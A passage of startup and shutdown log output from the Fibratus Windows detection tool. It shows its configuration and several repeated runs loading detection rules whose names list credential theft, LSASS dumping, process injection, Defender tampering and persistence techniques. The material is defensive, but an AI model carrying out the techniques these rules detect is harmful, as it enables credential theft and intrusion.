Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-age=>0 max-backups=>15 level=>info max-size=>100] + output ......................... [ http=>[ tls-insecure-skip-verify=>false endpoints=>[] method=>POST enabled=>false serializer=>json enable-gzip=>false timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] trace-log=>false timeout=>5s index-name=>fibratus healthcheck-timeout=>5s flush-period=>1s healthcheck=>true bulk-workers=>1 enabled=>false template-name=>fibratus gzip-compression=>false sniff=>false] amqp=>[ delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus exchange-type=>topic timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ durable=>false passive=>false]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-mmaps=>false excluded-files=>[] scan-timeout=>10s skip-allocs=>false skip-files=>false skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:42:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:42:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:42:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:42:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:42:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:44:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:44:34+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T17:44:34+01:00 level=info msg=bootstrapping with pid 8336. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:44:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] content-type=>text/html port=>25 enabled=>false use-template=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-registry=>true enable-threadpool=>false max-buffers=>36 enable-audit-api=>true enable-fileio=>true enable-net=>true enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-image=>true stack-enrichment=>true enable-handle=>false min-buffers=>16 buffer-size=>512 flush-interval=>1s enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info max-size=>100 formatter=>text log-stdout=>true max-age=>0] + output ......................... [ http=>[ method=>POST endpoints=>[] enabled=>false serializer=>json timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ servers=>[http://127.0.0.1:9200] trace-log=>false bulk-workers=>1 timeout=>5s gzip-compression=>false flush-period=>1s template-name=>fibratus healthcheck=>true sniff=>false enabled=>false healthcheck-interval=>10s index-name=>fibratus healthcheck-timeout=>5s] eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient passive=>false durable=>false url=>amqp://localhost:5672 exchange=>fibratus vhost=>/ timeout=>5s]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false scan-timeout=>10s skip-registry=>false fastscan=>true enabled=>false skip-allocs=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:44:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:44:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:46:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:46:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:46:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:48:09+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 